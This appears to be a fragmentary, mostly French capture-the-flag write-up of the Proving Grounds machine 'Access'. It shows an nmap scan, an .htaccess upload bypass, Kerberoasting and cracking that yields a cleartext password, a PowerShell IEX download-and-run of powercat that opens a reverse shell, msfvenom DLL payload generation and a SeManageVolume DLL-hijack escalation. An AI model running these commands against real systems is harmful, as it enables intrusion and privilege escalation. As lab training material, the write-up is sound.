
sudo nmap -p- -sV -sC 192.168.113.187 --open
[sudo] password for alice: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-01 15:22 CEST
Nmap scan report for 192.168.113.187
Host is up (0.078s latency).
Not shown: 65099 closed tcp ports (reset), 410 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Access The Event
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-01 13:23:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: 
Default-First-Site-Name)
443/tcp   open  ssl/http      Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
|_http-title: Access The Event
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods: 
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: 
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-01T13:24:04
|_  start_date: N/A
|_clock-skew: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.76 seconds
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On change le format en .tty prq php ne passe pas : 

Comme c'est un serveur apache on peut changer la config de .htaccess pour permettre l'exécution 
des fichiers sous le format .tty : 
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j'ai juste uploader mon shell.exe et je l'ai exécuté : 

   PG PLAY Page 3    



On a un deuxième user et vu qu'on doit récupérer le premier flag on doit changer de user. 

En utilisant bloodhound on a vu que le user svc_myssql avait un compte kerberos ce qui 
veut dire qu'on peut récupérer son hash ntlm avec rubeus car on a pas le mdp du user 
svc_apache. Donc on ne peut pas utiliser l'outils impacket-impacket-GetUserSPNs

Ensuite avec hashcat : 
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svc_mssql : trustno1

j'ai trouvé le user svc_mssql et j'ai le mdp : trustno1

Sur la machine victime ou j'ai déjà accès, je télécharge powercat et Invoke-
RunasCs : 

iwr -uri http://192.168.45.230/Invoke-RunasCs.ps1 -Outfile invoke.ps1

import-module ./invoke.ps1

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command 
"whoami"

Ensuite avec powercat : 

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command 
"Powershell IEX(New-Object 
System.Net.WebClient).DownloadString('http://192.168.45.230/powercat.ps
1');powercat -c 192.168.45.230 -p 443 -e cmd"
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Quand on a ce privilège on peut utiliser cette outils pour monter nos priv : 

https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public

Ensuite on peut voir qu'on a les droits d'écritures dans le dossier C:\Windows 
(ce qu'(on avait pas avant) . On va pouvoir créer un shell qui nous permettra 
d'être admin ensuite. 

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4545 -
f dll -o shell.dll

certutil -urlcache -split -f "http://192.168.45.230/shell.dll" C:\Windows\System32\wbem\shell.dll
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In summary, we can leverage our newfound super powers to hijack 

a DLL used by anything. We will use systeminfo’s tzres.dll but you 

should be able to use any .dll if you are willing to do the research.

Create another reverse shell outputting the file as tzres.dll and 

transfer it to the victim; placing it in the c:\windows\system32\wbem 

directory. I’m going to cancel my initial access shell and reuse port 

135 because I’m fond of it, but there do not appear to be any 

outgoing firewall rules to prevent you from just using another port 

and having three shells on the box. It is probably advisable to do it 

that way.

À partir de l’adresse <https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9> 
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